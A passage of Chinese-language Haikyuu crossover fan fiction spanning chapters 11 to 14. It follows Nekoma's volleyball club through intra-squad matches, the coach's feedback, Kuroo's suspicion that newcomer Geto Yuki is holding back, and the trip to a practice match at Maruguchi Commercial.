黑尾铁朗忍不住在脑中将那两记扣球重演了一遍。 没有参与一传,作为旁观者,他将那套动作看得十分清楚。 实在是流畅的扣球,四步助跑但并不带有恐怖的蓄力感,反而颇具观赏性。 前两步跟随托球的位置,倒数第二步骤然拉长,最后一步迅速收拢,向前的速度干净地转进了起跳。身体腾空,在空中跃起十分耀眼的弧线。 小腿、髋、肩膀……全身已经完全习惯发力一般,就算是外行人也看得出的统一,手臂伸直,扣出的一刹,自掌心发出一声干脆利落的实响。 无论多么强的滞空能力,人类在击球点能够停留的时间也不过一瞬。 这短暂的一瞬,身体已然完成蓄力。 并非依赖可怕的力道完成的重炮式的强硬击球,而是完完整整的。向后旋转的右臂、彻底打开的胸肩,这一切发力都建立在已经启动的上体和腰、髋的基础上。 正是这样流畅而完整的蓄力,对击球点的精准把握……那个家伙才能乍看之下毫不费力一般,像一条鞭子似的将球利落地抽过来啊。 排球带有强烈的上旋,在后段突然下坠,加之不容小觑的力道,一不留神便会飞走。即使是夜久那样全国水准的自由人,也没有选择给这颗球施加额外的力道。 二传的节奏,会被这种球破坏的。 隔着球网,黑尾铁朗对上那双一黑一金的异瞳,少年似乎露出些许奇怪的神色,还是对他笑了笑。 黑尾铁朗回以微笑。 虽然不知道为什么,但夏油君似乎并不是对比赛很热衷的性格。 不过,没关系…… 并非天生怪力的类型,而是懂得怎样将身体的每一分力量发挥到极致…… 有这样的意识和能力的攻手—— 不是敌人,而是队友啊。 黑尾铁朗唇角的弧度还没落下,忽然一僵。 ……等一下。 他是不是忘记了什么? 11.第 11 章 不妙啊…… 轮转过后,重新站到网前,黑尾铁朗陷入了沉思。 红队的发球越过球网,由自由人高木接起,西村传向跃跃欲试很久的山本猛虎。 山本猛虎起跳,挥臂扣下! 然而,抵达最高点时,隔着球网上沿,山本猛虎的目光正正撞上了那张鸡冠头的面孔。 单人拦网,山本猛虎下意识看向对方两臂之间。 黑尾铁朗肘部却向内收紧,几乎没有留下可供穿过的空当。 瞬息之间,山本猛虎选择转动手腕,避开拦网,将球斜扣向黑尾身侧,恰好也是孤爪研磨所在的位置。 然而下一秒,孤爪研磨单薄的身影朝旁一闪,露出早已在他身后落位的夜久卫辅。 双臂一并,排球被利落地接了起来。 “啊——!” 山本猛虎落回场地,不甘心地喊道:“黑尾学长刚才明明在发呆啊!” “发呆的时候也留意着球,和——”隔着球网,黑尾铁朗露出标志性的坏笑,“判断路线施加拦网已经成为我习惯的一部分,你更喜欢听到哪个?” “——更想看到您拦不下我的球的样子。” 山本木着脸转身。 “刚才那一球是你的话会怎么扣?”他对夏油幸道。 夏油幸已经目睹了好几次黑尾的拦网,道:“朝指尖扣。” “指尖……” “比起手掌,指尖要脆弱很多吧?”夏油幸将右手举起,指尖灵巧地拨着空气,道,“对准手掌,很容易被打回来。对准指尖,稍微施加一点力道——” “砰。”他做了个扣球的手势,“就像这样。” 山本猛虎面露严肃:“得再锻炼弹跳了。击球点越高的话,拦网起到的作用越小啊。” 身高在排球这项运动中的作用是毋庸置疑的。夏油幸想了想,道:“如果这里有谁身高两米,很多球会变得简单不少吧。” “可恶啊!”山本猛虎畅想着这幅情景。怎么说啊……两米高的巨人起跳,轻轻松松地把球直接从上面毫无阻碍地打过去……羡慕又有点恶心是怎么回事! 山本猛虎顿了顿,接着问出他关心了很久的问题:“你的身高是?” “183.3。” “……175.4。” 夏油幸微笑:“高中不正是好好长身体的时候吗?你一定会再长的。” “哦。”山本猛虎略有些惊讶,点头道,“谢谢。” “当然,我也会继续长的。” 说罢,夏油幸走回自己的位置。 “……” 注视着那道略微比他高那么一点点的背影,山本猛虎忍不住露出思考的表情。 “……那家伙的话……是单纯在感慨,还是……?” 离他最近的山田似乎没听到他的自言自语,和二传手西村说笑起来。 “黑尾那家伙的拦网,攻破一次吧。” “你平常多找他一对一不就好了?”西村扫了他一眼,道。 白队的下一球,西村网前起跳。手迎着球朝右侧倾斜,就在排球马上要滑过球网的一瞬,飞快地改为背传,山田快攻得分。 “哟西——” 两人击掌。 “假扣真传!”山本猛虎又开始羡慕了,“可恶,我也好想扣下这样的一球啊!” “哈哈。”山田听到这话,回头笑着看了这个热血的莫西干头学弟一眼,“快攻可是需要默契的啊。你可以多找丸山,还有那个……那个……” 山本猛虎忍不住提醒道:“孤爪。” “就是这个。多找他们练练。” “哦斯!” 顾及石井教练先前让一年级多触球的要求,接下来的几次进攻中,西村有意分配球权,让夏油幸和山本猛虎轮流进攻。当然,也没有忘记给自己的老搭档山田多喂几颗球。 尤其轮到黑尾在网前的时候,西村熟悉这个学弟兼正选队友的拦网水平,和山田配合了好几颗球,试图骗过拦网。 红队,孤爪研磨的额头上,汗珠不住地往下滑。 轮到夏油幸扣球或发球的时候,对方总喜欢瞄准自己这处。 孤爪研磨清楚自己的体力问题,也知道自己单薄的体型在球场上很容易成为针对目标。白队一旦找到机会,球便会朝他飞来。 但是夏油的话,无论发球还是扣球都实在难缠……就算第一下不是由自己接起,排球也很少能够安稳地送到网前,最后仍旧要他追着球跑动二传。 一来二去……好累啊。 “小黑……”瞄着场边的记分牌,孤爪研磨道。 黑尾铁朗了然道:“我会跑到你方便的位置。” 孤爪研磨不意外地点点头,目光投向另一边。前场的左翼,排球部的部长加藤正面色平淡地站在那里。 犹豫了几秒,孤爪研磨还是选择走过去:“加藤学长……” “嗯?”加藤扫来一眼。 “那个……扣球……” “近网高球。” “啊……” “一年级,我不会有太高的要求。”加藤用侧脸对着这个学弟,让自己尽可能耐心一点,“你的球托得再高一点,明白了吗?” “啊……” 加藤目光染上不耐。 孤爪研磨沉默半晌,点点头,走回自己的位置。 比赛继续。 场边,石井教练自之前的提醒后,就没有再多说什么。他一直沉默地观察着,将球网两侧的情景览于眼底,时不时在夹板上记录两笔。 最终,红队以28:26给这场队内赛画上句号。 “辛苦了。”目光划过面前的三排队伍,石井教练沉吟半晌,道,“接下来的关东大会,想必大家都已经知道了。” “我们当然要追逐每一场赛事的胜利,不过对现在的音驹而言,关东大会的意义更多地落在IH上。” “今年的IH全国赛在冲绳举行,东京只有两个全国名额。如果能在关东大会预选赛中取得十六强,那么我们将作为种子队,免于IH预选赛第一天的比赛。少打一整天,对体力和精力是极大的节省。” “当然,”石井教练露出微笑,“关东大会预选的16强,相信对大家来说并不难。” 以加藤为代表的三年级表情十分轻松。山田笑道:“哎呀,我们哪回不是十六强?” 石井教练摇摇头:“真希望这话的对象变成IH的两个代表名额啊。” 山田连忙告饶。 顿时,最后一排的正选三年级洋溢起快活的气氛。他们的身前,二年级的部员们脸上挂着浅笑。而最前排的一年级大都神色平平。 玩笑几句后,石井教练打开夹板,道:“三年级的训练内容 已经十分清楚了,是吧?” “是。” “二年级也是。多对自己想要的方向进行针对性训练。” “是。” “一年级……”石井教练顿了顿,“……先说孤爪吧。” “孤爪,体力的问题,你有解决的打算么?” 孤爪研磨点了点头。 “日常的训练中多做一些锻炼。训练室里有器械,可以从最轻的配重开始,适应后逐级增加。” “山本。” 山本猛虎挺起胸膛。 “作为主攻手,对扣球的激情你已经拥有了,试着让自己多观察对手。” “哦斯!” “福永。” 福永招平眨眨眼睛。 “你的防守倒是让我有些惊讶……接下来,加强力量训练吧。” 福永招平点点头。 “夏油……” 说完这个名字,石井教练沉默了。 不知何时,最后排的三年级也安静了下来。 空气似乎变得奇怪起来。往日喧闹的体育馆,以场边排球部的三排队伍为核心,扩散出凝滞的气氛,在这一刻显得空旷无比。 石井教练终于开口了。 “接发球、后排防守、前排拦网,这些都十分重要。你的进攻已经成为武器,如果能够在保持现有优势的同时发展这些方面……那么你会成为非常全面的选手,对球队起到巨大的补充与平衡作用。” 夏油幸点点头。 队伍散开,投入接下来的自主训练。 石井教练站在场边,目光随分散到各处的背影而移动着。 音驹的第一体育馆并不小。 这座已有数十年历史的体育馆,浅棕黄的地板上交错画着颜色各异的不同球类标线,面积足够铺开两片排球训练场。还配有摆放着各式锻炼器材的训练室,以及更衣室和淋浴间。 这里并不是什么冷酷的竞技场。石井教练忍不住想到当初面谈的时候,校方交给他的部活指导资料上的话语。 以比赛的优胜为目标而非目的,作为社团活动来说,培养综合素质才是首要的。尤其排球作为一项绝对的团队运动,部员们彼此之间的协作与信赖,是不可或缺的核心。 而现在…… 光洁的球场地板上,三年级的四个正选部员已经有说有笑地投入训练。 今天下午归队的五个二、三年级部员抱着排球,松松散散地聚在另一边。 二年级的三个正选则去找了新入部的一年级,七个人站在一块,一年级脸上的表情很精彩啊—— 等、等一下。 石井教练命令自己停止思维发散。 那个,总之—— 好好的一整块场馆,硬生生让这些家伙站出了三派人的气氛啊! 是组织吗?是极道组织开会吗?平日里水火不容的几家,为了总长的面子,硬是捏着鼻子凑到了一处? ——真是的。 石井教练将目光投向三年级正选的地盘。 三年级的,倒是给他拿出点前辈的样子,好好带一带后辈啊! 况且,这几个一年级,他可是觉得…… 石井教练忍不住叹了口气。 半晌,他从兜里掏出手机,点开一个熟悉的邮箱地址。 [小学,你今天忙吗?今晚一起喝酒吧。] 12.第 12 章 自主训练时间,黑尾铁朗再度陷入沉思。 一旁,夜久卫辅又一次干脆利落地接起山本猛虎扣过来的球。在隔网传来的后辈的嚎叫声中,他翘起嘴角,余光扫过黑尾铁朗的侧脸。 “……这家伙最近为什么常常摆出那种表情,那个,雕塑的那个……大卫。”夜久卫辅抱着Molten排球,扭头对海信行道,“是想在后辈面前扮演什么时刻都在谋划的可靠前辈吗?” 海信行愣住了,不过对象是——“大卫?” “……笨蛋啊。”黑尾铁朗把自己从思考中拔出来,“夜久你这家伙,想说的是‘沉思者’吧!” “都差不多啊!” “差很多,罗丹在哭啊!” “好了好了,你们两个——”海信行挂上无奈的表情,“最近我说这句话的频率都变高了不少,总之在后辈面前——” 两人同时冷哼一声。 “说真的,夜久,”黑尾铁朗有意无意地道,“你接夏油的球的时候,有没有觉得……” “——很重啊。” “——不够重啊。” 话音同时落下,两人都是一愣。 “……”夜久拧起眉毛,不可思议地道,“‘不够重’是什么意思……?” 黑尾一抬手,止住对方的话茬道:“我知道,那种球已经很有难度了。但你还记得我之前说过的,我第一次见到他的时候吗?在楼上。” 夜久卫辅若有所思。 海信行道:“你是想说,你怀疑后辈并没有用出真正的力气。” 黑尾铁朗右手抵住下巴:“嗯……夏油的发力实在是太流畅了。以那种程度来说,他的球应该还要更加难接才对。” 后辈是在留手吗?可是有什么必要……难道是…… “夏油君——”海信行直接朝球网对面挥手。 异瞳的少年正握着瓶子喝水,闻言望过来。 “休息好了就一起过来训练吧。”海信行露出爽朗的笑容,“你来进攻,怎么样?” 夏油幸点点头。 一只手搭上海信行右肩,夜久卫辅道:“我也来。” “一起吧。”回应他的是黑尾铁朗。 夜久卫辅在后场区站定,黑尾铁朗和海信行站到网前。 练习开始前,黑尾没忘记朝场边挥挥手,对那道瘦小的身影喊道:“喂,研磨,你也来——” 孤爪研磨抖了抖,有气无力地看向黑尾:“再休息……” 黑尾铁朗摆摆手:“再休息,部活就要结束了。” 孤爪研磨垮着脸朝场内走来。 从球筐里找了个看着顺眼的排球抱到怀里,孤爪研磨在网前站定,慢悠悠地将球托出—— 夏油幸助跑两步,在三米线后起跳。 “啪。” “咦——” 扣球的声音和疑惑的轻喃同时响起。 这一球倒是比想象中更加合手。夏油幸在前场落下。 这是他第一次和孤爪配合。前两次练习赛,对方都是作为对手,站在球网的另一边。 首次后排进攻的配合,比他预想得要顺利。孤爪传球的深度不错嘛。 “砰。” 排球砸回身边的声音,打断了夏油幸的思绪。 夏油幸抬眼望去,黑尾铁朗笑着朝他挥挥手:“拦下来了哦。” 夏油幸却没有露出什么被挑衅到的表情:“黑尾学长拦下来的话,夜久前辈怎么练接球?” “很简单,你击穿我的拦网不就好了?” 更远处传来夜久卫辅磨牙的声音:“黑尾,你在捣乱吗——” 第二个球开始了。 夏油幸这次没有选择从后场起跳。自2号位进行的右翼进攻,球网对面果然跳起了两个前辈的身影。 空中对峙的短暂一瞬,属于黑尾和海信行的手掌拦在眼前,夏油幸将球直直地扣向后者。 双手触及球面的一瞬,海信行的手指顺势后仰,放松手腕卸着球势。守在后方的夜久接起。 “哎,”网的对面,夜久卫辅朝夏油幸摆手,“你的扣球很不错。” 似乎是怕后辈被他的接球打击到,夜久卫辅鼓励道:“别看我似乎很轻松,但这是因为是我,才能这样接起啊!” 夏油幸朝这个好意的前辈点头:“知道了,夜久学长。” “这家伙很自恋吧。夸你的时候不忘把自己也夸一通。”黑尾铁朗循循善诱,“你力气再大一点,让他接不到,怎么样?” 夏油幸露出思考的模样,点了点头。 孤爪研磨托球,黑尾铁朗和海信行照例一左一右,在夏油幸正前方同时起跳。 就在那只手掌触及球面的一瞬,夏油幸忽然手腕一切,排球飞快地自拦网防线内侧擦出,在左边的空区重重落下。 黑尾铁朗眉梢不可抑制地一抬,落回地面。 这是一记干净的小斜线球。钻过他的手掌和球网中间的空隙,贴着场地的边沿精准无误地落了下来。 “夏油。你国中时真的没得过什么最佳主攻手之类的称号吗?” “如果有,它一定会出现在入部届上。” 黑尾铁朗回忆着那张简洁的入部届,又想了想刚才那颗球出现在赛场上的效果:“这种球,你的成功率是多少?” “我更擅长直线球一些。” 黑尾铁朗点点头。 “再来。” 抛开杂念,黑尾铁朗专注地盯着后辈的手腕,心中涌上几分兴味。 预告的直线球,会打吗? 说起来,他对这个人的判断,似乎一直有所偏差。 第四球,排球自孤爪研磨手中划出一道短促的弧线,迅速送向右翼。 夏油幸网前起跳。 这是节奏最快的一次。 黑尾铁朗低声道:“直线。” 他的话音未落,海信行已先一步封住边线,黑尾铁朗随即牢牢挡在夏油幸正对的方向。两人的手臂形成全面的高墙,只留一道狭窄的缝隙。 直线球的路线已经被封住。 不过,只要转动手腕,后辈仍然可以像上一球那样,用小斜线避开拦网。 扣过来的手腕没有内旋的征兆。 “砰!” 沉重的震感自黑尾铁朗的左臂与海信行的右臂同时出现。排球撞开两人双臂间的缝隙,带着上旋的长线强硬地冲向 场外。 ——来了! 夜久卫辅紧紧盯着这颗排球,连撤数步,朝那道红绿白的曲线快速追去。 “啪——!” 夜久迎上那道下坠的曲线。 前臂触碰到这颗球的一瞬,夜久便知道结果了。 这将是对面的机会球。 排球过网的短暂时间,夏油幸再度起跳。网的另一边,黑尾铁朗和海信行也快速跃起。 仍然是直线。只不过这一次,球朝黑尾的指尖撞了过来。 黑尾铁朗落回地面,两只手在空气中抓了抓。 指尖泛着上一秒被排球擦过的刺痛感,最鲜明的是自左腕内侧传来的一胀一胀的闷痛。 黑尾抬头,海信行朝他晃了晃右手手腕。 “喷点撒隆巴斯好了。” 黑尾铁朗望向后辈,忽然露出一个包含着多重意味的笑容。 “这是你全部的力量吗?”球网的菱格隔在眼前,黑尾道。 夏油幸摸摸后颈上的汗珠:“不够用吗?” “……我知道了。”黑尾意味深长道,“明天继续吧。” …… 部活结束了。石井教练随着下班的人流走过两条街,在一间不大的居酒屋前停下。 居酒屋的檐下挂着一只散发着暖黄光的纸灯笼。半截的门帘垂在眼前,还没进去,交谈的人声和碗碟碰响已经自门口溢出。 推开门,石井一眼便看到了坐在靠里一张小方桌后的大学好友。 “小学——” “淳。”直井学朝他挥手。 坐下后,两人碰了碰杯。石井仰头灌下大半杯啤酒,刚要再举杯,对面的直井学摆了摆手:“我实在不擅长喝酒。” “你还真是白长了一张很能喝的脸啊。”石井打趣道。 “嘛,经常有人这么说。” “下次一起去烤肉店好了。”石井晃了晃啤酒杯,“今晚就让我独自把苦闷灌下去吧。” 直井学笑道:“怎么,你的学生不听话吗?” “倒不是不听话。” 好友间的小聚本就是吐苦水时间,石井教练一股脑地将排球部的事情全部倒了出来。 听着听着,直井学逐渐皱起眉头。 “音驹是以‘维系’为理念的,我没有记错吧?” “那是猫又教练领导下的排球部啦。”石井吐槽,“泾渭分明的大家,我实在不知道该怎么办了。作为教练有很多的不便啊,放到学生时代或许觉得大家打一架也不错,现在的身份就要考虑各种方面了。连说句话,都要想想会不会激化矛盾什么的。” “不过,也不能放任那些年轻人继续下去吧?” 看着好友严肃起来的面色,石井忽然“啊”了一声。 “哎,小学你高中就是在音驹念的吧?排球部的二传手,我差点忘了。” “我那会儿几乎都在坐板凳啊。” 石井眨眨眼:“要不要来看看?” 直井学本想拒绝,话到嘴边,又道:“嘛,我确实有些想念了。有空去看看练习赛吧。” “那正好。”石井笑道,“周末有一场,对方教练已经联系我了。” 13.第 13 章 “练习赛。” 音驹第一体育馆。山本猛虎站在队伍中,悄悄地将头朝后仰,塞到两位二年级学长的肩膀中间。 “学长,我们排球部的练习赛一般是和谁打啊?” “——山本。”黑尾铁朗受不了地把这颗刺毛的脑袋往前一推。 “哎呀。”旁边夜久卫辅笑眯眯,“很可能是枭谷哦。是想听到这个答案吧?” “哟吓——!”山本猛虎站直身体,兴奋的唾沫渣子差点喷到一旁的夏油幸脸上。 “哎。”夏油幸用左手手背护住自己的右脸蛋,“至于这样激动么?” 山本猛虎一双棕眼睛顿时瞪过来。 配上那颗莫西干头,很不好惹的样子。 夏油幸毫不避让地朝山本看了过去。 “你……” “怎么?” “……你。”山本猛虎静默一瞬,“居然主动找我说话。” “……哈?” “夏油——”海信行的声音恰到好处地插进来,“你今天心情看上去不错,是在期待练习赛吗?” 二年级脸上带着宽和的神情,笑呵呵的样子冲淡了紧绷的氛围——如果有的话。 夏油幸摇摇头:“就算高兴也不是因为这个啦。说起来枭谷这个名字真是耳熟啊……” ……他究竟在哪里见过呢? 没等他想出个所以然,山本猛虎便以吃惊的语气道:“枭谷诶,枭谷!” 夏油幸想不起来,干脆发问:“枭谷是什么?” “……”山本猛虎目光沉痛,“你这家伙……是完全形态的外地人啊。” “哈?” 二年级的前辈们抱臂看戏中。 “枭谷就是那个,非常有名的、只要打排球就不会不听说的学校啊!高中比赛东京代表的名额,一定会被占掉一个的那种程度!” “是吗……?”夏油幸觉得自己可能当初在搜寻东京各大高校的时候见过枭谷,“东京有名的排球豪门高中,我倒是知道一个。” “居然有您知道的?”山本猛虎一震,不自觉地带上敬语。 夏油幸判断着这个单细胞莫西干头的故意成分,磨磨牙道:“……井闼山。” “哦——!!” “这家伙又怎么了?” 黑尾铁朗笑嘻嘻:“被‘井闼山’的名号刺激到了吧。” “嗯……”夜久卫辅叉腰,“枭谷和井闼山啊……我们音驹迈进全国的征途,无法避开的两座大山啊!” “真是没想到啊。”黑尾将目光转向夏油幸,调侃道,“你居然听过井闼山的名字吗?” “作为东北人,知道井闼山是极限了。”夏油幸抬抬下巴,“全国大赛冠军席的常客。” “你这副‘只有第一才配让我记住名字’的语气,我倒是很喜欢呢~” 夏油幸:“……” ……音驹的这些家伙是怎么回事。 正巧这时候教练走回来了,诸人连忙转动脑袋,将身体归位,作出肃穆状。 石井教练朝他们看了一眼,在前方站定。 “……就像刚才说的那样,本周日将会与他校进行一场练习赛,去对方的体育馆。总之,这几天大家好好训练。” 顿了顿,石井教练又道:“对了,这次的练习赛让一年级和二年级去。” 气氛似乎有点奇怪。 山本猛虎一边“哦呼”一边握拳,其他一年级虽然没有那样外放,但不难看出期待之情。二年级非常淡定,最后排的三年级互相看了看。 “教练~”三年级的山田在后排举手。 石井教练朝他点点头:“说吧。” “是和哪个学校啊?” “丸口商。”石井教练道。 “——丸口商?”山本猛虎的欢呼戛然而止,“不是枭谷?” “这么想和强校打?”石井教练看着山本道,“好好训练吧,后面会有机会的。” 今天的第一体育馆依然分成三块。 二年级的好学长黑尾铁朗将胳膊搭在莫西干头学弟身上:“就算对手不是枭谷,也不要垂头丧气嘛。” “不会!”山本猛虎猛地向前一冲,“这会是我在音驹的第一场练习赛!我一定会好好表现的!” “……”走在后面的海信行倒是有些被学弟的热情惊讶到。毕竟排球部这么多人来来往往,真的对排球怀有某种宏大梦想的始终是少数,大部分只是将这里当作普通的部活而已。 “山本。”海信行想起这个学弟初入部时的自我介绍,“你真的很喜欢音驹排球部啊。” “当然了!”山本猛虎仰起头,“自从在电视上看到春高转播里的红色,就再也忘不掉了……简直是倩影,宛如初恋一般啊!” “……”黑尾铁朗赶快把右手从对方身上拿下来。 “咳咳。说起来,夏油,东京这么多学校,你是怎么选中我们音驹的?” 夏油幸给出朴实无华的答案:“宣传页做的很厉害,日本最高的文化祭什么的。” “……噗!”正在喝水的夜久卫辅差点把运动饮料喷出来,“真的假的!?不可能——我印象中的音驹绝不会有这样浮夸——!” 海信行连忙拍拍这个人的后背,对夏油幸道:“你看上去无论如何也不像会被这种夸张的话骗到的类型啊。” 夏油幸一双黑金分明的眼睛朝学长瞧来:“为了见识见识日本第一的文化祭水平。” “……” 被那双异瞳一看,不知为何,海信行心中居然涌上淡淡的羞耻。 ……停止。海信行告诉自己。排球部的自己不要再为生徒会负责的宣传页而尴尬了! 这份尴尬持续到练习中,直到一颗来势强硬的Mikasa直直朝他打来。 “砰——!” 海信行接起。 “孤爪!” 网前,孤爪研磨下手将球传给福永招平,后者跃起的瞬间,黑尾铁朗神出鬼没地出现在网的对面,排球被一双大手牢牢按下。 “……”福永招平的ω嘴巴动了动。 成功拦网的黑尾铁朗落到场地上:“25:21,第一场3v3我们先拿下了。” 海信行略有不甘地点点头:“下一场。” 黑尾铁朗摇摇头:“先做会儿专项训练吧。” “也好。”海信行随即和孤爪研磨打了个招呼,两人去练配合了。 福永招平和山本猛虎被夜久卫辅带走。 < p>网前,夏油幸和黑尾铁朗在场地的同一边默默对视。 “咳。”黑尾铁朗慢悠悠地开口,“夏油君,刚才的3v3里,你的力气甚至不如昨天啊。” “诶。”夏油幸不置可否。 “是有意在隐藏实力,准备后续一鸣惊人吗?”黑尾直截了当道。 “……隐藏实力,一鸣惊人。”夏油幸被学长的发言惊到了,“这种情节我只在漫画里见过。” “啊啊,那就是在害怕?” “害怕?”夏油幸将目光定在学长脸上。 黑尾铁朗露出标志性的龇牙坏笑,浑身上下充斥着挑衅的意味:“怕暴露出全部的自己,全力以赴却还是被打败了之类的。” 夏油幸慢慢地笑了起来:“黑尾前辈,激将法对我是没有用的哦。” “噗——!” 身后不远处传来夜久卫辅的嗤笑:“善于挑衅的黑尾,作战大失败!” “——夜久你这家伙!”黑尾铁朗双眼喷火扭头一吼,随即把脸转回来,“——算了!总之,给我好好打!” “我在好好打啊。” “百分百的力气,我想看看。” “黑尾学长,你会总是拿出100%的力气吗?” “我当然会。”黑尾铁朗道,“在赛场上全力以赴。” 夏油幸摇摇头,不打算把时间花在区分“队内练习”和“比赛”上,道:“从比赛的最开始就会这样做吗,不会累吗?” 黑尾铁朗一愣。 “和会被自由人替换的副攻手不同,如果没有其他安排,主攻手需要打满全场。一开始就100%什么的,在可能需要三局的比赛中,在充满人的体育馆里,体力早早地就随汗水流失掉了。”夏油幸拨拨打完一场3v3,稍微被汗液打湿一点的刘海,“我不认为蛮干是正确的选择。” “……”黑尾铁朗认真地打量着面前的学弟,“你很容易感到累吗?” “与其说累,我非常讨厌‘热’。”夏油幸弯起唇角,“但是,没有哪个运动不会让身体发热,偏偏我又认为运动很重要,也算自讨苦吃啊。” 黑尾铁朗沉默了。 说实在的,关于这位后辈,他有过不少猜想。甚至有想过,后辈或许是为了避开三年级,不愿意让正选名额的斗争在台面上白热化……虽然这种东西和后辈的外表放到一块,实在是太不符合了。 “如果是这样的理由,”黑尾铁朗道,“我当然不会反对。虽然就算我反对,你也不会听吧?” 夏油幸露出一个好学生的笑。 “但是——”黑尾铁朗干脆双手环胸,借着四厘米左右的身高差,自上而下地打量着后辈,“队内练习,不需要你打满三场吧。” 啊。被发现了。 夏油幸保持着笑容。 “……”没等到学弟的回应,在这片两人构建起来的沉默中,黑尾铁朗高高地挑起眉毛,忽然想到一个坏东西,“你……你不会是……单纯地——想要偷懒吧?!” 夏油幸摇摇头,指指场边:“好累啊,我要去喝水了。” 说罢,快步朝放水杯的长椅挪去。 后知后觉发现自己被忽悠了一通的黑尾铁朗:“……你这家伙——给我回来!” 14.第 14 章 “大巴,大巴~” 日曜日,音驹第一体育馆门口,一个黑色莫西干头正扯着不成调的嗓子。 魔音飘入一旁夏油幸的耳朵,后者皱起半张脸,眼睛却不禁抬起,右手握着的手机也切到了照相界面。 大巴?音驹排球部的专用大巴吗?在哪里。 “山本,别像个土包子似的。”穿着音驹队服的黑尾铁朗拉了拉红色袖口,“没有大巴。” 没有大巴? 两双眼睛探照灯似的看了过去。 “怎么了——等一下,”黑尾铁朗忍不住倒退了两步,“夏油,你怎么也这样?” “排球部的大巴?” 黑尾铁朗回到原来的位置:“有大巴,但不是现在。以后合宿或者去远一点的地方,教练会包车的,今天坐电车去。” 山本猛虎发出长长的叹息。 夏油幸低头,朝屏幕对面敲字—— [尼桑……排球部今天用不到大巴!我还想拍给你看。] 没几秒,对面便发来:[大巴?我确实还没有见过校车呢。] [咦?魔法学校居然没有校车?] [我们这一级包括我在内只有三个人。全校的学生加起来也不会超过十个。有大巴也会闲置。] [唔,你消息回得好快。] [嗯,现在在店里吃早餐。] [你早上在家没有吃吗?我看你用了面包机。] [是任务后的回笼餐。] “夏油,要走了——” 夏油幸“嗯”了一声,一边低头打字,一边脚下一点不绊地跟上前方的队伍。 学校离车站只有几分钟的距离,不过石井教练走在最前面带队,又将黑尾铁朗安排到最后,以防有笨蛋走丢。 夏油幸手指在屏幕上像弹琴一般翻飞着,不忘一心三用地抬头看看周围的建筑。路过一个铁塔,他飞快地对着那里拍了一张照:“这就是传说中的天空树吧。” 缀在队伍末尾的黑尾铁朗差点平地摔。 “……” “……求豆麻袋。”黑尾铁朗上前两步,艰难地将手搭在夏油幸肩膀上,“我绝无指手画脚的打算,但请不要把这个路塔甲叫作天空树然后发出去,拜托了。” 一行人安全地到达车站。 刷卡过闸后,众人来到站台。电车到站,一行人随着人流排队上车。 车厢里的长条座椅还有空位,夏油幸大跨步走过去坐下,几乎同时,属于孤爪研磨的屁股落到他旁边,耳边响起似有若无的“呼——”声。 空位被坐满了。抢到一个座位的山本猛虎左看右看,对上站在他身前拉着吊环的夜久卫辅的眼睛。 “前辈!”山本猛虎“唰”地一下站起来,“坐我这里吧!” 夜久卫辅笑着摇摇头:“你坐吧,山本。我和黑尾站着就行了。” 黑尾铁朗也对山本猛虎道:“丸口商离这里不远。” 后者重新坐了回去。 隔着透亮的车窗,黑尾铁朗慢悠悠地看着掠过的风景。目光下移,先是浓密而清爽的发顶,顺着刘海,靠右的那只眼睛,睫毛掩映中偶有一丝金色转瞬而过。 两根耳机线顺着清峭的面部线条延伸,末端隐没在握着手机的手指中,指尖飞快敲击。 不能以貌取人啊。 黑尾铁朗移开目光,微微感慨。 谁能想到这样的家伙,刚才连天空树都认错了。 [尼桑,你有见过天空树吗?] 屏幕上,夏油幸道。 [出任务的时候会路过。] [任务。这个词都快成为核心词汇了。高中生的话,不要辜负学校的风景啊。] [或许你会失望哦。我们学校在东京的边角,和乡下没什么两样。] [那是什么样的?] [照片的话,我刚入学就拍给你了,是吗?] [我还是想看看你平常生活的地方。]夏油幸右肘抵在斜挎包上,[说到底,照片怎么能比得过亲眼看呢?] 对面半晌都没有新消息。 夏油幸笑着打字:[怎么样?我的直线球。] 屏幕上弹出一个小鸡后退两步一头栽倒的表情包。 夏油幸敲了敲小鸡朝天的爪子:[后退也没有用。] 丸口商的位置,离车站口并不遥远。 街道的拐角,刚冒出属于音驹的红色,等在校门口的粉绿相间的丸口商队员便迎了上来。 “黑尾。”丸口商排球部部长伸出手。 “市川。”黑尾铁朗走上前,握住那只手。 丸口商作为坐落在东京这样激烈赛区的高校,本身拥有的实力并不差。不过和音驹一样,难以逾越井闼山与枭谷,四周还有其他强者如林,已经好多年没能打入全国大赛了。 体育馆内,石井教练和丸口商的大野教练站到一起,十分友好地寒暄了起来。 “你们这学期该不会招到好苗子了吧?” “怎么会。”大野教练摇摇头,“只不过稍微有那么一两个资质不错的小伙子罢了。” “哈哈。”石井教练道,“我们这里也恰好有几个不错的新人哦。” 目光越过石井教练的肩膀,大野教练朝音驹的队伍看去。 今天音驹一共来了8个人,红色和蓝色正巧各半。 “咦。”丸口商的队员们穿着统一的粉绿色球衣,有人奇怪道,“音驹的人衣服怎么不一样?” “还没来得及做队服吧。”市川道,“蓝色似乎是音驹的体操服,这次音驹带了好几个一年级过来啊。” 丸口商一年级闻言低头,拉了拉自己身上的队服。 “部长,”一年级抬头道,“你熟悉音驹的那些人吗?” 市川点点头:“我和黑尾——就是那个鸡冠头,打了不少比赛。他是副攻手,拦网和接球都很厉害,待会儿上场要小心。” 一年级愣愣地把两个词放到一起:“副攻手,接球很厉害。” 市川拍拍后辈的肩膀:“副攻手不擅长接球——这个印象你会在黑尾身上打破的。” “还有两个穿队服的,带卷和光头的那两位,”市川指着音驹队伍道,“一个是自由人,一个作为主攻手,接球很厉害。” “……接球很厉害。”后辈呆呆地重复了一遍,“音驹的队员,好像都是这样的描述啊。” “这正是音驹的特色。以接球为核心的队伍,不让球落地就是音驹的理念。”市川道,“猫咪很难缠呢。不过缺点在于,始终没有足够强势的攻手。只有网和盾却没有矛,在如今的赛区是不够的。” “剩下的人我不太认得了。”市川皱着眉仔细分辨着面孔,“还有一个二年级我并不认识,似乎之前在替补席上见过?其他都是一年级了。” 后辈皱起脸:“唔……那个蘑菇头好单薄哦,应该是替补吧。” “……”不远处,一直竖着耳朵留意对手动静的黑尾铁朗揽住幼驯染的肩膀,“研磨,在说你哦。” 孤爪研磨低头,发丝在下巴处擦过。 “好好表现吧,在接下来的赛场上。”黑尾低声道,“让对手彻底见识一番——涌入新生命的音驹。” 手中人一动不动。 就在黑尾怀疑自己声音是不是太小了的时候,孤爪研磨忽然打了个哈欠。 “……”黑尾铁朗额头挂上一滴汗。幸好,从刚才起就一直疯狂热身的山本猛虎能够给予他安慰。 “山本啊。”黑尾伸手把正要调换热身姿势的山本猛虎顺势拉起,“你很有干劲嘛,不过小心别受伤了。” 